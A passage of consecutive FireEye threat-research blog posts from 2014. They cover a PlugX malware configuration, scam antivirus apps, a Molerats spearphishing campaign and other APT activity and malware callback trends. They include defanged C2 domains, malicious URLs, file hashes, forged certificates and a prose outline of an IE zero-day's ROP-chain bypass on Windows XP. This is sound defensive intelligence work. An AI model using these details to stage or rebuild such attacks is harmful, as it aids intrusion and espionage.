Import hash Import hash 6817b29e9832d8fd85dcbe4af176efb6 6817b29e9832d8fd85dcbe4af176efb6
Compile date Compile date 2014-03-22 11:08:34 2014-03-22 11:08:34

Backdoor.APT.Kaba Malware Configuration:

PlugX Config (0x150c bytes):

Flags: False True False False False False True True True True False

Timer 1: 60 secs

Timer 2: 60 secs

C&C Address: www[.]walterclean[.]com:443 (TCP)

Install Dir: %ALLUSERSPROFILE%\chrome_frame_helper

Service Name: chrome_frame_helper

Service Disp: chrome_frame_helper

Service Desc: Windows chrome_frame_helper Services

Online Pass: 1234

Memo: 1234

Open Source Intel

The domain walterclean[.]com shares registration details with securitywap[.]com:

The following domains are registered to QQ360LEE@126.COM

Domain: walterclean[.]com

Create Date: 2014-03-26 00:00:00

Registrar: ENOM, INC.

Domain: securitywap[.]com

Create Date: 2014-03-26 00:00:00

Registrar: ENOM, INC.

Conclusion

In short, we attributed these attacks to the same threat actor responsible for “Operation Clandestine Fox,” based on the following linkages:

  • The first-stage malware (mt.dat) is a slightly updated version of the Backdoor.APT.CookieCutter malware dropped during Operation Clandestine Fox
  • Based on our intel, Backdoor.APT.CookieCutter has been used exclusively by this particular threat group
  • Finally, the command and control domain inform[.]bedircati[.]com seen in this activity was also used during the Clandestine Fox campaign

Another evolutionary step for this threat group is that they have diversified their tool usage with the use of the Kaba/PlugX/Sogu malware – something we have never seen them do before.

As we have noted in other blog posts, APT threat actors take advantage of every possible vector to try to gain a foothold in the organizations they target. Social networks are increasingly used for both personal and business reasons, and are one more potential threat vector that both end-users and network defenders need to think about.

Unfortunately, it is very common for users to let their guard down when using social networks or personal email, since they don’t always treat these services with the same level of risk as their work email.  As more companies allow their employees to telecommute, or even allow them to access company networks and/or resources using their personal computers, these attacks targeting their personal email addresses pose significant risk to the enterprise.

Acknowledgements

 The author would like to acknowledge the following colleagues for their contributions to this report: Josh Dennis, Mike Oppenheim, Ned Moran, and Joshua Homan.

Preying on Insecurity: Placebo Applications With No Functionality on Google Play and Amazon.com

FireEye mobile security researchers recently uncovered, and notified Google and Amazon to take down, a series of anti-virus and security configuration apps that were nothing more than scams. Written easily by a thieving developer with just a few hundred lines of code then covered with a facade of images and progress bars, the seemingly useful apps for Android’s operating environment charge for installation and upgrade but do nothing. In other words, placebo applications. Fortunately all the applications have been removed from the Google Play store due to our discovery.

Up to 50,000 downloads in some cases, these fake apps highlight how cybercriminals are exploiting the security concerns consumers have about the Android platform. In this case, we found five (!) fake antivirus apps that do nothing other than take a security-conscious user’s money, leaves them unprotected from mobile threats, and earns a criminal thousands of dollars for little work.

Uploaded by a developer named Mina Adib, the paid versions of the apps were available for Google Play customers outside the US and UK, while users in the UK and US could choose the free versions with in-app upgrade options. Also available in third party markets such as appbrain.com[1] and amazon.com[2], the fraudulent apps ranged in price from free to $3.99. The applications included:

  1. Anti-Hacker PLUS (com.minaadib.antihackerplus) Price $3.99
  2. JU AntiVirus Pro (com.minaadib.juantiviruspro) Price $2.99
  3. Anti-Hacker (com.minaadib.antihacker) Free
  4. Me Web Secure (com.minaadib.mewebsecurefree) Free
  5. Me Web Secure Pro (com.minaadib.mewebsecure) Price $1.99
  6. Taking full advantage of the legacy, signature-based approach mobile antivirus apps have adopted, that makes it hard for a user to tell if it really is working, total charges for these “security” apps ran into the thousands of US dollars in the Google Play store alone. This old security model puts users relying on such applications at risk, either because it incites them to download apps that simply don’t have functionality – as we see in this case – or they don’t provide adequate protection against today’s threats. Ultimately, users simply cannot tell when they are protected.

    1. Anti-Hacker (com.minaadib.antihacker) Free

    [caption id="attachment_5567" align="aligncenter" width="600"]Free Version of Anti-Hacker app in Google Play store. Fig. 1. Free Version of Anti-Hacker app in Google Play store.[/caption]

    This application claims to protect mobile devices from hackers. But, as with all of these apps, it’s a scam not capable of scanning the phone at all. Although there is a “Scan Now” button in the middle of the layout, it only shows a superficial progress bar when the user presses the button, which, after a few seconds of running, a toast message of "Your Android is clean" is shown.

    The picture below shows the main interface of the application.

    [caption id="attachment_5570" align="aligncenter" width="302"]Fig. 2. The UI of the Anti-Hacker app. Fig. 2. The UI of the Anti-Hacker app.[/caption]

    The following code is executed when the user clicks the “Scan Now” button.

    As shown in the code, nothing happens when the button is clicked. Then the toast message of “You Android is clean” is shown as in the onDismiss() method.

    [caption id="attachment_5575" align="aligncenter" width="307"]The toast message of the Anti-Hacker screen. Fig. 3. The toast message of the Anti-Hacker screen.[/caption]

    The same trick is used when software is being updated which does nothing. When the Update button is clicked, a progress bar appears with text “Updating the Database...”. Later it’s changed to “ Database updated Successfully”.

    2. Anti-Hacker PLUS (com.minaadib.antihackerplus) Price $3.99

    Fig. 4 and 5 show the paid version of the application com.minaadib.antihacker. The source code of the application is almost the same as the free version, meaning the application doesn’t perform scanning either. When the user presses the Scan button, the application displays the progress bar for some time and then shows the same notification stating the device is “clean.”

    [caption id="attachment_5577" align="aligncenter" width="549"]The Anti-Hacker Plus app in Google Play Fig. 4. The Anti-Hacker Plus app in Google Play[/caption]

    [caption id="attachment_5600" align="aligncenter" width="552"]Anti-Hacker Plus app in Amazon.com Fig. 5. Anti-Hacker Plus app in Amazon.com[/caption]

    The paid version does add one “feature,” however. It offers the ability to kill running apps and tasks, which, in reality, is just a line of code that waits one second after being activated before popping up a toast notification saying it has killed all tasks. You can see this lack of useful functionality in the code below:

    BatteryFragment

    3.JU AntiVirus Pro (com.minaadib.juantiviruspro) Price $2.99

    This application claims to be an antivirus application that detects malware, however, it actually follow the same patterns as the two scam apps above. It simply shows a progress bar for period of time as though it is doing something and then displays “Device is clean.” The source code of the “scan” button is similar to the applications above.

    [caption id="attachment_5580" align="alignnone" width="599"]Fig. 5. JU Anit-Virus Pro in Google Play store. Fig. 6. JU Anit-Virus Pro in Google Play store.[/caption]

    The image and the source code below show that the Scan button is a fake.

    [caption id="attachment_5581" align="aligncenter" width="429"]Fig. 6. The Scan button in JU Anti-Virus Pro app. Fig. 7. The Scan button in JU Anti-Virus Pro app.[/caption]

    JUAVProCode

    4. Me Web Secure  (com.minaadib.mewebsecurefree) Free

    This application is a slightly different security tool, offering configuration settings for things like browsing and cookies. Just as the apps above, these are no more than superficial layouts on empty code. Cleverly, the developer disabled some of the options in the free version so users feel compelled to pay to enable them.

    [caption id="attachment_5584" align="aligncenter" width="586"]Me Web Secure app in Google Play store. Fig. 8. Me Web Secure app in Google Play store.[/caption]

    [caption id="attachment_5585" align="aligncenter" width="401"]Fig. 8. Me Web Secure app UI. Fig. 9. Me Web Secure app UI.[/caption]

    5. Me Web Secure Pro (com.minaadib.mewebsecure) Price $1.99

    Similar to its free version counterpart – com.minaadib.mewebsecurefree – this application shows security and network configuration screens that are simply UI layouts. As stated above, the disabled options in the free version are enabled in the paid version of the application, but no fake source code was even written to fake the existence of those features being implemented.

    [caption id="attachment_5589" align="aligncenter" width="600"]The Me Web Secure Pro app in Google Play Store. Fig. 10. The Me Web Secure Pro app in Google Play Store.[/caption]

    In the image below, the app shows it’s performing configurations when the “ON” button is pressed.

    [caption id="attachment_5590" align="aligncenter" width="401"]Scan button in the Me Web Secure Pro app. Fig. 11. Scan button in the Me Web Secure Pro app.[/caption]

    The image below is the code path when the ON button is clicked. It is a progress bar of 5 seconds only for visual purposes. No configuration is performed by the application.

    mewebsecureprocode

    REFERENCE:

    [1]. http://www.appbrain.com/app/anti-hacker/com.minaadib.antihacker

    [2]. http://www.amazon.com/Mina-Adib-Anti-Hacker-Plus/dp/B00HT99DXA

    Molerats, Here for Spring!

    Between 29 April and 27 May, FireEye Labs identified several new Molerats attacks targeting at least one major U.S. financial institution and multiple, European government organizations.

    When we last published details relevant to Molerats activity in August of 2013, we covered a large campaign of Poison Ivy (PIVY) attacks directed against several targets in the Middle East and the United States. We felt it was significant to highlight the previous PIVY campaigns to:

    1. Demonstrate that any large-scale, targeted attacks utilizing this off-the-shelf Remote Access Tool (RAT) shouldn’t be automatically linked to Chinese threat actors.
    2. Share several documented tactics, techniques, and procedures (TTP), and indicators of compromise (IOC) for identifying Molerats activity.

    However, this was just one unique facet to a much broader series of related attacks dating back to as early as October 2011 and are still ongoing. Previous research has linked these campaigns to Molerats, but with so much public attention focused on APT threat actors based in China, it’s easy to lose track of targeted attacks carried out by other threat actor groups based elsewhere. For example, we recently published the "Operation Saffron Rose" whitepaper, detailing a rapidly evolving Iranian-based threat actor group known as the “Ajax Security Team."

    New Attacks, Same Old Tactics

    With the reuse of command and control (CnC) infrastructure and a similar set of TTPs, molerats1Molerats activity has been tracked and expanded to a growing target list, which includes:

    • Palestinian and Israeli surveillance targets
    • Government departments in Israel, Turkey, Slovenia, Macedonia, New Zealand, Latvia, the U.S., and the UK
    • The Office of the Quartet Representative
    • The British Broadcasting Corporation (BBC)
    • A major U.S. financial institution
    • Multiple European government organizations

    Previous Molerats campaigns have used several garden-variety, freely available backdoors such as CyberGate and Bifrost, but, most recently, we have observed them making use of the PIVY and Xtreme RATs. Previous campaigns made use of at least one of three observed forged Microsoft certificates, allowing security researchers to accurately tie together separate attacks even if the attacks used different backdoors. There also appears to be a habitual use of lures or decoy documents – in either English or Arabic-language – with content focusing on active conflicts in the Middle East. The lures come packaged  with malicious files that drop the Molerats’ flavor of the week, which happen to all be Xtreme RAT binaries in these most recent campaigns.

    Groundhog Day

    On 27 May we observed at least one victim downloading a malicious .ZIP file as the result of clicking on a shortened Google URL – http://goo[.]gl[/]AMD3yX – likely contained inside of a targeted spearphishing email. However, we were unable to confirm for this particular victim:

    molerats2

    1) “حصري بالصور لحظة الإعتداء على المشير عبد الفتاح السيسي.scr” 
(MD5: a6a839438d35f503dfebc6c5eec4330e)

    • Malicious download URL was sent to a well-known European government organization.
    • The shortened URL breaks out to “http://lovegame[.]us/ Photos[.]zip,” which was clicked/downloaded by the victim.
    • The extracted binary, “حصري بالصور لحظة الإعتداء على المشير عبد الفتاح السيسي.scr,” opens up a decoy Word document and installs/executes the Xtreme RAT binary into a temp directory, “Documents and Settings\admin\Local Settings\Temp\Chrome.exe.”
    • The decoy document, “rotab.doc,” contains three images (a political cartoon and two edited photos), all negatively depicting former military chief Abdel Fattah el-Sisi.
    • Xtreme RAT binary dropped: “Chrome.exe” (MD5: a90225a88ee974453b93ee7f0d93b104), which is unsigned.
    • As of 29 May, the URL has been clicked 225 times by a variety of platforms and browser types, so the campaign was likely not limited to just one victim.
    • Two of the download referrers are webmail providers (EIM.ae” and “Sltnet.lk”) further indicating the malicious URL was likely disseminated via spearphishing emails.

    On 29 April we observed two unique malicious attachments being sent to two different victims via spearphishing emails:

    2) 8ca915ab1d69a7007237eb83ae37eae5moleratssss

    • Malicious file sent to both the financial institution and Ministry of Foreign Affairs targets.
    • Drops an Arabic language decoy document titled “Sisi.doc”, which appears to contain several copy/pasted excerpts of (now retired) Egyptian Major General Hossam Sweilem, discussing military strategy and the Muslim Brotherhood.
    • The title of the document appears to have several Chinese characters, yet the entire body of the document is written in Arabic. As noted in our August 2013 blog post, this could possibly be a poor attempt to frame China-based threat actors for these attacks.
    • Xtreme RAT binary dropped: “sky.exe” (MD5: 2d843b8452b5e48acbbe869e51337993), which is unsigned.

    molerats4

    3) “Too soon to embrace Sisi _ Egypt is an unpredictable place.scr" (MD5: 7f9c06cd950239841378f74bbacbef60)

    • Malicious file only sent to a European government organization.
    • Drops an English language decoy document also titled “Sisi.doc”, however this one appears to be an exact copy of a 23 April Financial Times’ news article about the uncertainties surrounding former military chief Abdel Fattah el-Sisi running for president in the upcoming Egyptian elections.
    • Drops the same Xtreme RAT binary: “sky.exe” (MD5: 2d843b8452b5e48acbbe869e51337993), which is unsigned.

    Another attribute regularly exhibited by Molerats malware samples are that they are often archived inside of self-extracting RAR files and encoded with EXECryptor V2.2, along with several other legitimate looking archived files.

    Related Samples

    Both of the malicious files above have a compile date/time of 2014-04-17 09:43:29-0000, and, based on this information, we were able to identify five additional samples (one sample only contained a lure but no malicious binary), related to the 29 April attacks. These samples were a little more interesting, because they contained an array of either attempted forged or self-signed Authenticode certificates.

    All of the additionally identified samples were sent to one of the same European government organizations mentioned previously.

    4) 2b0f8a8d8249402be0d83aedd9073662molerats5

    • Drops an Arabic language Word Document titled “list.doc”.
    • The title of the document appears to have several Chinese characters, yet the entire body of the document is written in Arabic.
    • Xtreme RAT binary dropped: “Download.exe” (MD5: cff48ff88c81795ee8cebdc3306605d0). This malware is signed with a self-signed certificate issued by “FireZilla” (see below).Certificate serial number: {75 dd 9b 14 c6 6e 20 0b 2e 22 95 3a 62 7b 39 19}.

    moleratsfirezille

    Forged FireZilla certificate

    5) 4f170683ae19b5eabcc54a578f2b530bmolerats8

    • Drops an Arabic language Word Document titled “points.doc,” which appears to be an online clipping from a news article about ongoing Palestinian reconciliation meetings between Fatah and Hamas in the Gaza strip.
    • The title of the document appears to have several Chinese characters, yet the entire body of the document is written in Arabic.
    • Xtreme RAT binary dropped: “VBB.exe” (MD5: 6f9585c8748cd0e7103eab4eda233666). Though the malware appeared to be signed with a certificate named “Kaspersky Lab”, the real hash did not match the signed hash (see below).Certificate serial number: {a7 ed a5 a2 15 c0 d1 91 32 9a 1c a4 b0 53 eb 18}.

    kaspersky

    (Forged Kaspersky Lab certificate)

    6) 793b7340b7c713e79518776f5710e9dd & a75281ee9c7c365a776ce8d2b11d28daredtext

    • Both drop an Arabic language Word Document titled “qatar.doc,” which appears to be an online clipping for a new article concerning members of the Gulf Cooperation Council (GCC) and the ongoing conflicts between Saudi Arabia, the United Arab Emirates (UAE), and Bahrain – all against Qatar because of the country’s support for the Muslim Brotherhood.
    • The title of the document appears to have several Chinese characters, yet the entire body of the document is written in Arabic.
    • Xtreme RAT binary dropped by the first sample: “AVG.exe” (MD5: a51da465920589253bf32c6115072909), which is unsigned.

    7) Pivoting off one of the fake Authenticode certificates we were able to identify at least one additional related binary, “vmware.exe” (MD5: 6be46a719b962792fd8f453914a87d3e), also Xtreme RAT, but doesn’t appear to have been sent to any of our customers. The malicious binary is also encoded with EXECryptor V2.2–similar to the samples above–and the CnC domain has resolved to IPs that overlap with previously identified Molerats malware.

    Indicators of Compromise

    molerats11

    Although the samples above are all Xtreme RAT, all but two samples communicate over different TCP ports. The port 443 callback listed in the last sample is also not using actual SSL, but instead, the sample transmits communications in clear-text – a common tactic employed by adversaries to try and bypass firewall/proxy rules applying to communications over traditional web ports. These tactics, among several others mentioned previously, seem to indicate that Molerats are not only aware of security researchers’ efforts in trying to track them but are also attempting to avoid using any obvious, repeating patterns that could be used to more easily track endpoints infected with their malware.

    Conclusion

    Although a large number of attacks against our customers appear to originate from China, we are tracking lesser-known actors also targeting the same firms. Molerats campaigns seem to be limited to only using freely available malware; however, their growing list of targets and increasingly evolving techniques in subsequent campaigns are certainly noteworthy.

    MD5 Samples 

    • a6a839438d35f503dfebc6c5eec4330e
    • 7f9c06cd950239841378f74bbacbef60
    • 8ca915ab1d69a7007237eb83ae37eae5
    • 2b0f8a8d8249402be0d83aedd9073662
    • 4f170683ae19b5eabcc54a578f2b530b
    • 793b7340b7c713e79518776f5710e9dd
    • a75281ee9c7c365a776ce8d2b11d28da
    • 6be46a719b962792fd8f453914a87d3e

    Older Molerats samples from Dec 2013 (not listed above)

    • 34c5e6b2a988076035e47d1f74319e86
    • 13e351c327579fee7c2b975b17ef377c
    • c0488b48d6aabe828a76ae427bd36cf1
    • 14d83f01ecf644dc29302b95542c9d35

     References & Credits

    A special thanks to Ned Moran and Matt Briggs of FireEye Labs for supporting this research.

     

    Strategic Analysis: As Russia-Ukraine Conflict Continues, Malware Activity Rises

    Cyber conflicts are a reflection of traditional, “real life” human conflicts. And the more serious the conflict in the “real world,” the more conspicuous its cyber shadow is likely to be. So let’s look at a serious, current international conflict – the one between Russia and Ukraine – to see if we can find its reflection in cyberspace.

    One of the most reliable ways to discover computer network operations is to look for malware “callbacks” – the communications initiated from compromised computers to an attacker’s first-stage command-and-control (C2) server. At FireEye, we detect and analyze millions of such callbacks every year.

    Table 1, below, shows the top 20 countries to receive first-stage malware callbacks over the last 16 months, according to the latest FireEye data.

    ru1

    Table 1 – Callback Infrastructure: the Last 16 Months

    As we track the evolution of callbacks during this period, we see a likely correlation between the overall number of callbacks both to Russia and to Ukraine, and the intensification of the crisis between the two nations. The two key indicators we see are:

    • In 2013, Russia was, on average, #7 on this list; in 2014, its average rank is #5.
    • In 2013, Ukraine was, on average, #12 on this list; in 2014, its average rank is #9.

    The biggest single monthly jump occurred in March 2014, when Russia moved from #7 to #3. In that same month, the following events also took place in Russia and Ukraine:

    • Russia’s parliament authorized the use of military force in Ukraine;
    • Vladimir Putin signed a bill incorporating the Crimean peninsula into the Russian Federation;
    • The U.S. and EU imposed travel bans and asset freezes on some senior Russian officials;
    • Russian military forces massed along the Ukrainian border; and
    • Russian energy giant Gazprom threatened to cut off Ukraine’s supply of gas.

    The graphs below provide a closer look at the crucial month of March 2014, specifically comparing it to malware callback data from February.

    Figure 1 shows a significant rise in malware callbacks to Russia from three of the top four source countries in February: Canada, South Korea, and the U.S. (Great Britain had a slight decline).

    ru2

    Figure 1 – Callbacks to Russia in Feb/Mar 2014: Top Four Countries

    Figure 2 depicts the same, general rise in callbacks to Russia from many other countries around the world.

    ru3

    Figure 2 – Callbacks to Russia in Feb/Mar 2014: Rest of World

    Figure 3 shows that the sharp rise in callbacks to Russia in March 2014 was seen in every FireEye industry vertical.

    ru4

    Figure 3 – Callbacks to Russia in Feb/Mar 2014: Industry Verticals

    Tables 2 and 3, below, compare the rise in callbacks to Russia and Ukraine against the rise in callbacks to other countries for February and March 2014. It is  important to note that nearly half of the world’s countries experienced a decrease in callbacks during this same time frame.

    Table 2 shows the countries that received the highest increase, from February to March 2014, in the number of source countries sending callbacks to them. Ukraine and Russia both placed in the top ten countries worldwide, with Ukraine jumping from 29 source countries to 39, and Russia moving from 45 to 53.

    ru5

    Table 2 – Callbacks in 2014: Number of Source Countries

    Table 3 shows the increase in the number of malware signatures associated with the callbacks to each country for February and March 2014. Ukraine does not appear in the top ten (it tied for #15), but Russia was #4 on this list (again, nearly half of the world’s countries showed no increase or a decrease).

    ru6

    Table 3 – Callbacks in 2014: Number of Malware Signatures

    It is not my intention here to suggest that Russia and/or Ukraine are the sole threat actors within this data set. I also do not want to speculate too much on the precise motives of the attackers behind all of these callbacks. Within such a large volume of malware activity, there are likely to be lone hackers, “patriotic hackers,” cyber criminals, Russian and Ukrainian government operations, and cyber operations initiated by other nations.

    What I want to convey in this blog is that generic, high-level traffic analysis – for which it is not always necessary to know the exact content or the original source of individual communications – might be used to draw a link between large-scale malware activity and important geopolitical events. In other words, the rise in callbacks to Russia and Ukraine (or to any other country or region of the world) during high levels of geopolitical tension suggests strongly that computer network operations are being used as one way to gain competitive advantage in the conflict.

    In the near future, we will apply this methodology to other global occurrences to further identify patterns that could provide valuable advanced threat protection insights.

    The PLA and the 8:00am-5:00pm Work Day: FireEye Confirms DOJ’s Findings on APT1 Intrusion Activity

    Yesterday, the U.S. Department of Justice (DOJ) announced the indictment of five members of the Second Bureau of the People’s Liberation Army (PLA) General Staff Department’s Third Department, also known as PLA Unit 61398.  This is the same unit that Mandiant publicly unmasked last year in the APT1 report. At the time it was originally released, China denounced the report, saying that it lacked sufficient evidence. Following the DOJ’s indictment, however, China’s usual response changed from “you lack sufficient evidence” to “you have fabricated the evidence”, calling on the U.S. to “correct the error immediately.” This is a significant evolution in China’s messaging; if the evidence is real, it overwhelmingly demonstrates China's unilateral attempts to leapfrog years of industrial development -- by using cyber intrusions to access and steal intellectual property.

    The evidence provided in the indictment includes Exhibit F (pages 54-56), which shows three charts based on Dynamic DNS data. These charts indicate that the named defendants (Unit 61398 members) were re-pointing their domain names at a Dynamic DNS provider during Chinese business hours from 2008 to 2013. The China work day, particularly for government offices, is very predictable, as noted on this travel site:

    "Government offices, institutions and schools begin at 8:00 or 8:30, and end at 17:00 or 17:30 with two-hour noon break, from Monday to Friday. They usually close on Saturday, Sunday and public holidays."

    What Exhibit F shows is a spike of activity on Monday through Friday around 8am in Shanghai (China Standard Time), a roughly 2-hour lull at lunchtime, and then another spike of activity from about 2pm to 6pm. The charts also show that there were very few changes in Dynamic DNS resolution on weekends.

    At Mandiant (now a FireEye company), we can corroborate the DOJ’s data by releasing additional evidence that we did not include in the APT1 report. In the APT1 report, we specified the following:

    • Over a two-year period (January 2011 to January 2013) we confirmed 1,905 instances of APT1 actors logging into their hop infrastructure from 832 different IP addresses with Remote Desktop.

    • Of the 832 IP addresses, 817 (98.2%) were Chinese and belong predominantly to four large net blocks in Shanghai which we will refer to as APT1’s home networks.

    • In order to make a user’s experience as seamless as possible, the Remote Desktop protocol requires client applications to forward several important details to the server, including their client hostname and the client keyboard layout. In 1,849 of the 1,905 (97%) APT1 Remote Desktop sessions we observed in the past two years, the keyboard layout setting was “Chinese (Simplified) — US Keyboard.”

    One thing we did not originally provide was an analysis of the time of day and day of week that these 1,905 Remote Desktop (RDP) connections occurred. However, when we look at these connections in bar chart format, obvious patterns appear:

    rdp-analysis-fig1Figure 1: APT1 Remote Desktop login times distributed by hour of day (China Standard Time)

     

    rdp-analysis-fig2Figure 2: APT1 Remote Desktop login times distributed by day of week (China Standard Time)

    Essentially, APT1 conducted almost all of the 1,905 RDP connections from 2011 to 2013:

    • (1) On week days (Monday through Friday),
    • (2) between 8am and noon, 2pm and 6pm, and 7pm and 10pm CST.

    On some occasions, APT1 personnel appear to have worked on weekends, but these are minor exceptions to the norm. Consider the following evidence together for the 1,905 RDP connections:

    • 98.2% of IP addresses used to log in to hop points (which help mask the real point of origin to victim organizations) were from Shanghai networks
    • 97% of the connections were from computers using the Simplified Chinese language setting
    • 97.5% of the connections occurred on weekdays, China Standard Time
    • 98.8% of the connections occurred between 7am and midnight China Standard Time
      • 75% occurred between 8am to noon or between 2pm to 6pm
      • 15% occurred between 7pm and 10pm

    The simplest conclusion based on these facts is that APT1 is operating in China, and most likely in Shanghai. Although one could attempt to explain every piece of evidence away, at some point the evidence starts to become overwhelming when it is all pointing in one direction. Our timestamp data, derived from active RDP logins over a two year period, matches the DOJ’s timestamp data, derived from a different source -- active Dynamic DNS re-pointing over a five year period. These data sets show that APT1 is either operating in China during normal Chinese business hours or that APT1 is intentionally going to painstaking lengths to look like they are. 

    The data used to produce the charts above are archived in raw format and we are confident that any computer networking expert would certify them as genuine and non-fabricated in a court of law. But, that isn’t really the issue. The real issue is: will this activity continue and for how long? Regardless, FireEye remains focused on how these threats evolve over time, in order to reduce the time from “detect” to “fix”, as these and other actors continue targeting potential victims.

    Operation Saffron Rose

    There is evolution and development underway within Iranian-based hacker groups that coincides with Iran’s efforts at controlling political dissent and expanding offensive cyber capabilities. The capabilities of threat actors operating from Iran have traditionally been considered limited and have focused on politically motivated website defacement and DDoS attacks.

    Our team has published a report that documents the activities of an Iran-based group, known as the Ajax Security Team, which has been targeting both US defense companies as well as those in Iran who are using popular anti-censorship tools to bypass Internet censorship controls in the country.

    This group, which has its roots in popular Iranian hacker forums such as Ashiyane and Shabgard, has engaged in website defacements since 2010. However, by 2014, this group had transitioned to malware-based espionage, using a methodology consistent with other advanced persistent threats in this region.

    It is unclear if the Ajax Security Team operates in isolation or if they are a part of a larger coordinated effort. We have observed this group leverage varied social engineering tactics as a means to lure their targets into infecting themselves with malware. They use malware tools that do not appear to be publicly available. Although we have not observed the use of exploits as a means to infect victims, members of the Ajax Security Team have previously used exploit code in web site defacement operations.

    The objectives of this group are consistent with Iran’s efforts at controlling political dissent and expanding offensive cyber capabilities, but we believe that members of the group may also be dabbling in traditional cybercrime. This indicates that there is a considerable grey area between the cyber espionage capabilities of Iran’s hacker groups and any direct Iranian government or military involvement.

    Although the Ajax Security Team’s capabilities remain unclear, we believe that their current operations have been somewhat successful. We assess that if these actors continue the current pace of their operations they will improve their capabilities in the mid-term.

    View a full version of the report on "Operation Saffron Rose".

    “Operation Clandestine Fox” Now Attacking Windows XP Using Recently Discovered IE Vulnerability

    On April 26th, FireEye Research Labs notified the public of a new IE zero-day exploit being used in “Operation Clandestine Fox.” The initial attack targeted users of IE versions 9, 10, and 11 on Windows 7 and 8. Despite attackers only targeting those versions of Microsoft IE and Windows OS, the vulnerability actually impacts all versions of IE from 6 through 11.

    Today, FireEye Labs can reveal a newly uncovered version of the attack that specifically targets out-of-life Windows XP machines running IE 8. This means that live attacks exploiting CVE-2014-1776 are now occurring against users of IE 8 through 11 and Windows XP, 7 and 8.

    We have also observed that multiple, new threat actors are now using the exploit in attacks and have expanded the industries they are targeting. In addition to previously observed attacks against the Defense and Financial sectors, organization in the Government- and Energy-sector are now also facing attack.

    Mitigation

    In our tests, disabling VXG.dll blocks this attack on all configurations of IE and Windows OSs. However, we strongly suggest that Windows XP users upgrade to a later Windows operating system to take advantage of new mitigation technologies from Microsoft, such as EMET 5.0 and IE with Enhanced Protected Mode (EPM). Deploying preventative measures now will help mitigate the impact of these exploits until Microsoft patches the underlying vulnerability, and will offer additional protection from future ZeroDay exploits.

    Details

    The main differences between this new attack targeting Windows XP compared to the original Windows 7/8.1 versions of this attack are the mitigation bypasses. The Windows 7/8.1 version develops its write primitive into read/write access to much of the process space by corrupting Flash vector objects. This is to bypass ASLR by searching for ROP gadgets and building a ROP chain dynamically in memory.

    Without ASLR, ROP gadgets can be constructed beforehand with static addresses. Consequently, Flash assistance in the Windows XP version is much simpler. It builds a ROP chain with static addresses to gadgets in MSVCRT, tweaks addresses for a plethora of language packs, and jumps directly to a pivot without developing a write primitive. From there, the ROP chain calls VirtualAlloc to allocate executable memory, copies the shellcode to the allocated chunk, and executes the shellcode.

    This new tactic of specifically targeting those running Windows XP means the risk factors of this vulnerability are now even higher. We have been working with Microsoft and they have released an Out of Band patch. FireEye highly recommends users of Microsoft Internet Explorer apply the patch as soon as possible for security reasons.

    NGOs: Fighting Human Rights Violations and, Now, Cyber Threat Groups

    With so many non-government organizations (NGOs) in operation today around the world, we asked ourselves a question here at FireEye Labs. Who would think about targeting NGOs?  Steal from a nonprofit? It would seem unthinkable to most people. But, as we can see from a few recent examples below, this is a clear reality.

    As more NGOs reach out to us, it is clear that the situation for them is not a pretty one. Based on the breaches we have observed in this space, it appears there are more than 15 distinct advanced threat groups active in NGO networks. The sheer volume and variety of threat groups active in NGO environments struck us as unusually high for a single industry and indicates the incredibly difficult threat landscape NGOs face.

    Hamstrung by limited budgets to establish strong network defenses and few personnel that understand how and why these threats are materializing, NGOs make a relatively easy target. Even if they aren’t profitable, NGOs use credit cards for donations, transact with cash, store personally identifiable information (PII) and, in some cases, even house intellectual property.  Many NGOs also work on political issues—an inviting target for opponents who want to monitor their communications and activities. Weak defenses and a target-rich environment make NGOs an enticing victim to maliciously motivated threat actors.

    Cyber Operations at NGOs: An Intelligence Collection Pursuit?

    NGOs — particularly those based in the U.S. — have long been perceived as instruments of U.S. government policy. Regimes with a less-than-favorable view of the U.S. frequently consider NGOs’ work as a rallying point for domestic unrest and political opposition. Three nations that fit this description — China, Russia and Iran — are all rumored or known to have existing and growing cyber operations to support their governments’ political agendas. Data acquired from NGOs via network compromises has the potential to grant these nation-states valuable, predictive insights on key policy topics and NGO programming, as well as intelligence on personnel and their contacts.

    Over the last few years, we have observed China-based advanced persistent threat (APT) groups frequently target U.S.-based NGOs. Unsurprisingly, they were organizations with programs that touched on Chinese human rights, democratic reforms, and social issues.  In these instances, data theft was not just limited to documents about NGO programming, but also included documents on grants, legal proceedings, research programs, and even employee communications. The threat actors and recipients of the stolen data were likely able to gain significant insights into the NGOs’ operations, issues, and personnel. Not only were the threat actors better positioned to understand the NGOs’ values and plans, but, more importantly, they could potentially identify in-country contacts for the NGOs. These domestic contacts could face repercussions for their collaboration with the NGO.

    NGO

    Figure 1: A sample breakout of the types of documents stolen from an NGO

    Sought-After Financial Data Goldmine

    Because NGOs are often dependent on donations from large donors and dedicated supporters, they maintain or process financial data of potentially great value to cybercriminals who seek to steal PII. This financial information could be used to perpetrate identity theft and other types of criminal exploitation, including the theft of credit card numbers, bank account information, and other PII of wealthy individuals. There are any number of cases of non-profits who were either breached via network compromise or even experienced the physical theft of devices that gave perpetrators access to databases filled with valuable information such as names, addresses and social security numbers. In one instance, a simple website misconfiguration exposed one nonprofit’s database of donors and their personal information.

    The acknowledged wealth of many NGO donors likely contributes to the motivations financial threat groups would have in targeting NGOs. FireEye tracks a number of criminal threat groups who conduct network intrusions to obtain data similar to the kind NGOs manage in large quantities. These threat actors may seek financial gain from cyber operations through direct theft of funds or the resale of data they have stolen. Because NGOs maintain valuable financial data, and perhaps other data they perceive to be valuable, criminal threat actors may target these networks with the intent to profit.

    Perception of Weak Defenses

    When criminals are looking for an easy target, NGOs’ networks may be perceived to be easy pickings. Just as the common thief would rather steal items of value from a house without an alarm than one with, the same is true with advanced threat actors and cybercriminals. NGOs possess information of value that a variety of threat actors desire, and their networks can sometimes be far easier targets than government institutions or large commercial organizations, due to their typically limited resources when it comes to network security and defense.

    Although NGOs face a unique landscape when it comes to advanced threats in terms of the sheer number of threat groups targeting them and the widely varying possible impacts of a breach, their operations and needs share many similarities with those of our small- and medium-sized (SMB) customers. To that end, FireEye Labs recommends reviewing our latest SMB-focused white paper for more insight into what the broader threat landscape looks like for NGO-like organizations. View a copy of the SMB paper.

    If an Android Has a Heart, Does It Bleed?

    The OpenSSL Heartbleed vulnerability “allows remote attackers to obtain sensitive information from process memory via crafted packets that trigger a buffer over-read” [1]. Heartbleed surprised the public by allowing attackers to steal sensitive information from vulnerable websites by sending crafted SSL heartbeat messages. However, due to the fact that servers can send heartbeats to clients as well, malicious servers can, in turn, attack vulnerable clients and steal sensitive information. For the Android platform, we find that roughly 150M downloads of Android apps contain OpenSSL libraries vulnerable to Heartbleed.

